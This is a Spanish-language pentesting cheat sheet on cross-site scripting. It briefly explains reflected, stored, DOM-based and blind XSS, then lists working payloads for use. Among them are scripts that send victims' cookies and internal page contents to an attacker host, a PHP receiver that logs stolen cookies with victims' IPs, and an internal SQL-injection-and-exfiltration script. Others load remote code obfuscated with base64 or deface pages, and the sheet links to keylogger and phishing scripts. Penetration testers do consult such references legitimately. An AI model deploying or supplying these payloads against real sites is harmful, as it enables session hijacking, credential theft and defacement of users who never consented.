# Cross-site scripting (XSS)

## Reflected server XSS (Non-Persistent)

Ocurre cuando la entrada del usuario se muestra en la página después de ser procesada por el servidor (back-end), pero sin ser almacenada.&#x20;

Se encuentra a menudo donde la entrada del usuario se envía a través de parámetros GET, por ejemplo, una opción de búsqueda que refleje la palabra buscada. Para explotarlo, normalmente se envía un enlace a un usuario con el payload. Dado que el usuario confía en el dominio, posiblemente hará clic en el enlace, el servidor agregará nuestro payload y el navegador del usuario lo ejecutará.&#x20;

Es posible que los parámetros POST también den como resultado un "reflected server XSS (Non-Persistent)". Sin embargo, no podríamos explotarlo enviado un enlace a un usuario. En su lugar, tendríamos que enviar al usuario a un sitio web que controlamos y tener un formulario que haga un POST automáticamente cuando el usuario ingrese al sitio web.

## Stored server XSS (Persistent)

Ocurre cuando la entrada del usuario se almacena en la base de datos (back-end) y luego se muestra al recuperarla. Por ejemplo, publicaciones o comentarios.

Esto hace que este tipo de XSS sea el más crítico, ya que afecta a una audiencia mucho más amplia. Cualquier usuario que visite la página sería víctima de este ataque. Además, es posible que "stored server XSS (Persistent)" no se pueda quitar fácilmente y que sea necesario eliminar el payload de la base de datos (back-end).

## Reflected client XSS (Non-Persistent / DOM based)

Ocurre cuando la entrada del usuario se muestra en la página y esta es procesada por completo en el lado del cliente (JavaScript), pero sin ser almacenada.

Se encuentra a menudo donde la entrada del usuario se envía a través de parámetros GET, por ejemplo, una opción de búsqueda que refleje la palabra buscada y que esta sea asignada a un elemento HTML desde JavaScript.

```sh
http://<target>/?search=<img src='noexiste' onerror='alert(0)'>
```

{% code title="search.js" %}

```javascript
const urlSearchParams = new URLSearchParams(window.location.search);
const params = Object.fromEntries(urlSearchParams.entries());
document.getElementById("search").innerHTML = params.search
```

{% endcode %}

## Stored client XSS (Persistent / DOM based)

Ocurre cuando la entrada del usuario se almacena en la base de datos (back-end) y esta es procesada por completo en el lado del cliente (JavaScript) cuando se muestra en la página luego de recuperarla. Por ejemplo, publicaciones o comentarios que son obtenidos desde una base de datos y son asignados a elementos HTML desde JavaScript.

## Blind XSS

Payloads de identificación general de "blind XSS".

```javascript
<script src=http://attacker-IP-address></script>
'><script src=http://attacker-IP-address></script>
"><script src=http://attacker-IP-address></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://attacker-IP-address\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//attacker-IP-address");a.send();</script>
<script>$.getScript("http://attacker-IP-address")</script>
```

Ejemplo de identificación de campo vulnerable a "blind XSS".

```sh
mkdir /tmp/phpserver
cd /tmp/phpserver
php -S 0.0.0.0:80
```

```javascript
<script src=http://attacker-IP-address/name></script>
<script src=http://attacker-IP-address/lastname></script>
<script src=http://attacker-IP-address/address></script>
```

## Payloads

### General

```html
<script>alert(0)</script>
<script>alert('XSS');</script>
<img src="noexiste" onerror=alert(document.cookie)>
<img src="noexiste" onerror=document.write(document.cookie)>
<script>alert(window.origin)</script>
<img src="" onerror=alert(window.origin)>
<plaintext>
<script>print()</script>
# WebSocket
<img src="noexiste" onerror=socket.send(document.cookie)>
```

* [common-xss-payloads.txt](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/common-xss-payloads.txt)

### Stealing session cookies

Acceso a cookies desde JavaScript (HttpOnly no establecido).

```javascript
<script>alert(document.cookie);</script>
```

Envía cookies a web del atacante.

```javascript
<script>new Image().src='http://web-atacante.com/xss.php?cookie='+document.cookie</script>
<script>fetch(`http://web-atacante.com/xss.php?cookie=${btoa(document.cookie)}`)</script>
<script>fetch('http://web-atacante.com', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<img src="noexiste" onerror="fetch('http://web-atacante.com/\?cookie=' + encodeURIComponent(document.cookie))">
<script>var xhr=new XMLHttpRequest();xhr.open('GET','http://web-atacante.com/\?cookie='+encodeURIComponent(document.cookie),true);xhr.send();</script>
<script>var xhr=new XMLHttpRequest();xhr.open('POST','http://web-atacante.com/',true);xhr.send('cookie='+encodeURIComponent(document.cookie));</script>
```

Registro de cookies en servidor del atacante.

{% code title="xss.php" %}

```php
<?php
// php -S 0.0.0.0:80
// tail -f steal-secrets.txt

if (isset($_GET['cookie'])) {
    $list = explode(";", $_GET['cookie']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("steal-secrets.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookies: {$cookie}\n");
        fclose($file);
    }
}
?>
```

{% endcode %}

Guarda cookies ocultas dentro del HTML de la página web.

```javascript
<div style="display: none;">
<img src="noexiste" onerror=
"document.getElementById('form').onsubmit=function () {
var hidden='<span style=\'display:none;\'>
'+document.cookie+'</span>';
document.getElementById('mensaje').value+=hidden;}"/>
</div>
```

### Stealing local secrets

Existen dos tipos de almacenamiento de datos en el navegador disponibles `localStorage` y `sessionStorage`, su diferencia radica en el nivel de persistencia de los datos. Al utilizar `localStorage` los datos se conservan hasta que se eliminen explícitamente, mientras que al utilizar `sessionStorage` los datos se conservan hasta que se cierre la pestaña. Se puede acceder a los datos de `localStorage` usando la propiedad `window.localStorage`, mientras que se puede acceder a `sessionStorage` con la propiedad `window.sessionStorage`.

* [steal-secrets.js](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/steal-secrets.js)
* [xss.php](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/xss.php)

### Stealing saved passwords

* [steal-saved-passwords.js](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/steal-saved-passwords.js)
* [xss.php](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/xss.php)

### Keylogger

* [keylogger.js](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/keylogger.js)
* [keylogger.php](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/keylogger.php)

### Phishing

* [phishing.js](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/phishing.js)
* [xss.php](https://github.com/MrW0l05zyn/pentesting/blob/master/web/payloads/xss/xss.php)

### Defacement

```javascript
<script>document.title="Defacement"</script>
<script>document.getElementsByTagName('body')[0].innerHTML='Defacement'</script>
<script>document.getElementById("id").innerHTML = "Defacement";</script>
<img src="noexiste" onerror="document.title='Defacement';" />
<script>document.body.style.background="#ff0000"</script>
<script>document.body.background="https://example.com/image.png"</script>
```

```javascript
<script>
    var tagHeader = document.getElementsByTagName('header')[0];
    var tagH1 = tagHeader.getElementsByTagName('h1');
    for(var i=0; i<tagH1.length; i++) {
        var tagH1item = tagH1[i];
        tagH1item.innerHTML='Defacement';
    }
</script>
```

### Identificación de funcionalidades internas (análisis HTML de la aplicación)

```javascript
try {
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "http://<target>/index.php", false);
    xhr.withCredentials = true;
    xhr.send();
    var res = xhr.responseText;
} catch (error) {
    var res = error;
}	

var exfil = new XMLHttpRequest();
exfil.open("POST", "http://web-atacante.com/", false);
exfil.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "exfil=" + encodeURIComponent(btoa(res));
exfil.send(data);
```

### Enumeración de API internas

```javascript
var endpoints = ["account","accounts","credentials","creds","customer","customers","member","members","pass","password","passwords","profile","profiles","setting","settings","user","username","users"];

for (i in endpoints){
    try {
        var xhr = new XMLHttpRequest();
        xhr.open("GET", `http://<target>/v1/${endpoints[i]}`, false);
        xhr.send();
        
        if (xhr.status != 404) {
            var exfil = new XMLHttpRequest();
            exfil.open("GET", "http://web-atacante.com/?exfil=" + btoa(endpoints[i]), false);
            exfil.send();
        }
    } catch {
    }
}
```

### SQL injection en login interno

```javascript
try {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", "http://<target>/login.php", false);
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    var data = `username=${encodeURIComponent("' OR '1'='1' -- -")}&password=x`;
    xhr.send(data);
    var res = xhr.responseText;
} catch (error) {
    var res = error;
}   

var exfil = new XMLHttpRequest();
exfil.open("POST", "http://web-atacante.com/", false);
exfil.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var data = "exfil=" + encodeURIComponent(btoa(res));
exfil.send(data);
```

### POST request

{% code title="xss.js" %}

```javascript
fetch('http://<target>/',{
    method: 'POST',
    mode: 'same-origin',
    credentials: 'same-origin',
    headers: {
        'Content-Type':'application/x-www-form-urlencoded'
    }, 
    body:'param=value1&param2=value2&param3=value3'
})
```

{% endcode %}

### Ejecución de payload desde recurso externo

Creación de archivo JavaScript con payload a ejecutar.

{% code title="xss.js" %}

```javascript
alert(0)
```

{% endcode %}

Habilitación de servidor HTTP para compartir el archivo `xss.js`.

```sh
php -S 0.0.0.0:80
```

Payloads para cargar JavaScript desde recurso externo.

```html
<script src="http://<attacker-IP-address>/xss.js"></script>
<img src="x" onerror="s=document.createElement('script');s.src='http://<attacker-IP-address>/xss.js';document.body.appendChild(s);">
```

Payload utilizando jQuery para cargar JavaScript desde recurso externo.

```javascript
jQuery.getScript('http://<attacker-IP-address>/xss.js')
echo -n "jQuery.getScript('<attacker-IP-address>/xss.js')" | base64
'+eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnPGF0dGFja2VyLUlQLWFkZHJlc3M+L3hzcy5qcycp'))+'
'+btoa(eval(atob('alF1ZXJ5LmdldFNjcmlwdCgnPGF0dGFja2VyLUlQLWFkZHJlc3M+L3hzcy5qcycp')))+'
```

### PortSwigger

* <https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>

### Payload Box

* <https://github.com/payloadbox/xss-payload-list>

### Payloads All The Things

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection)

## Herramientas

### XSS Hunter

* <https://xsshunter.com/>

### Truffle Security

* <https://xsshunter.trufflesecurity.com/>
